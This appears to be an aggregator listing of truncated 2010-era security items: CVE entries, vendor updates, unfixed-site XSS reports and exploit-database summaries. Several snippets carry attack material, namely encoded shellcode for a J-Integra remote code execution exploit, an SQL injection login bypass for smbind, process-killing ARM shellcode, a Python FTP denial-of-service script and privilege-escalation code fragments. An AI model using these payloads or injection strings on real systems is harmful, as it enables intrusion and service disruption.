Canada Introduces Bill C-28 to Combat Spam with Hefty Fines

Spam is arguably the most irritating aspect of the internet and email for people globally. However, there is hope in Canada for those who have been targeted by spammers. A new law, Bill C-28, aims to facilitate government efforts in prosecuting and fining individuals and companies guilty of sendi...

J-Integra 2.11 - Remote Code Execution

esp = String100, "B" calc = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49" & unescape"%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68" & unescape"%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42" & unescape"%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a" &...

Unfixed XSS vulnerability at www.moserbaerhomevideo.com

Security researcher Sandeep Kamble, has submitted on 28/11/2010 a cross-site-scripting XSS vulnerability affecting www.moserbaerhomevideo.com, which at the time of submission ranked 259950 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed Redirect vulnerability at www.phpkode.com

Security researcher hexon, has submitted on 19/11/2010 a Redirect vulnerability affecting www.phpkode.com, which at the time of submission ranked 18843 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 28/03/2011. It is currently unfixed. If you...

Immunity Canvas: ADOBE_FLASH_BUTTON

Name| adobeflashbutton ---|--- CVE| CVE-2010-3654 Exploit Pack| CANVAS Description| adobeflashbutton Notes| CVE Name: CVE-2010-3654 VENDOR: Adobe NOTES: Exploitation through an PDF file is more reliable than with a direct HTML/Flash exploit VersionsAffected: Adobe Acrobat Reader 9.4.0...

CVE-2010-3528

Unspecified vulnerability in the PeopleSoft Enterprise CRM - Common Components component in Oracle PeopleSoft and JDEdwards Suite 8.9 Bundle 41, 9.0 Bundle 28, and 9.1 Bundle 4 allows remote authenticated users to affect confidentiality via unknown vectors...

Achievo 1.4.3 - Cross-Site Request Forgery

Advisory Name: Cross Site Request Forgery in Achievo 1.4.3 Internal Cybsec Advisory Id: 2010-08-03 Vulnerability Class: Cross Site Request Forgery Release Date: 2010-Sept-28 Affected Applications: Achievo 1.4.3 other versions may be also vulnerable Affected Platforms: Any Local / Remote: Remote...

iworkstation Version 9.3.2.1.4 seh exploit

Exploit for windows platform in category local exploits ========================================== iworkstation Version 9.3.2.1.4 seh exploit ========================================== iworkstation Version 9.3.2.1.4 seh exploit Author Sanjeev Gupta san.gupta86atgmail.com Download Vulnerable...

smbind <= v.0.4.7 Sql Injection Vulnerability

Exploit for php platform in category web applications ============================================= smbind query"SELECT ID FROM users WHERE username = '" . $SESSION'username' ."' AND password = '" . md5$SESSION'password' . " ' "; Easy admin login Enter in username field: admin'; Enter in password...

Textpattern CMS 4.2.0 Remote File Inclusion

Remote File Inclusion Vulnerability ------------------------------------------------------------------------------ Textpattern index.php -------------------------------------------------------------- + Author : Sn!pEr.S!Te Hacker + Email : [email protected] + Inj3ct0r Team Hacker + 28-8-201...

CVE-2010-3207

creationtimestamp| type| source ---|---|--- 2010-08-28 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/14826...

Zemana AntiLogger AntiLog32.sys 1.5.2.755 - Local Privilege Escalation

Zemana AntiLogger AntiLog32.sys 1.5.2.755 - Local Privilege Escalation Zemana AntiLogger AntiLog32.sys elfanew; PVOID waddr = &pnthdr-OptionalHeader.DataDirectoryIMAGEDIRECTORYENTRYSECURITY.VirtualAddress ; ULONG oldp ; VirtualProtectwaddr , sizeofULONG , PAGEREADWRITE , &oldp;...

Unfixed XSS vulnerability at www.mixmedia.pl

Security researcher cbr, has submitted on 28/07/2010 a cross-site-scripting XSS vulnerability affecting www.mixmedia.pl, which at the time of submission ranked 248693 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 15/12/2011. It is currently...

CVE-2010-2785

creationtimestamp| type| source ---|---|--- 2010-07-28 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/34385...

openSUSE Security Update : MozillaFirefox (openSUSE-SU-2010:0358-2)

Mozilla Firefox was updated to version 3.5.10, fixing various bugs and security issues. MFSA 2010-33 / CVE-2008-5913: Security researcher Amit Klein reported that it was possible to reverse engineer the value used to seed Math.random. Since the pseudo-random number generator was only seeded once...

Fedora 12 : cups-1.4.2-28.fc12 (2010-3761)

This update addresses a denial of service security issue CVE-2010-0302 as well as fixing several other small problems: classes.conf is now updated when a class member is deleted. the usermode dependency has been removed. the udev rules are now installed in the correct location. cups-config now ha...

Linux/ARM - setuid0 & kill-1, SIGKILL 28 bytes

Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes. Shellcode exploit for linux platform / Title: Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes Kill all processes Date: 2010-06-29 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan...

DBSite w/b Blind SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================ DBSite w/b Blind SQL Injection Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, ...

Netartmedia iBoutique.MALL - SQL Injection

Name : Netartmedia iBoutique.MALL SQLi Vulnerability Date : june, 28 2010 Critical Level : HIGH Vendor Url : http://www.netartmedia.net/mall/ Author : Sid3^effects aKa HaRi special thanks to : r0073r inj3ct0r.com,L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger,Sn!pEr.S!Te,n4pst3rr greetz to...

Home FTP Server 1.10.3 (build 144) - Denial of Service

Home FTP Server 1.10.3 build 144 - Denial of Service !/usr/bin/python HomeFTP Server r1.10.3 build 144 Denial of Service Exploit Found By: DrIDE Date: May 28, 2010 Download: http://downstairs.dnsalias.net/products.html Tested: Windows 7 import socket, sys host = sys.argv1 buff = "A" 5000 cmds =...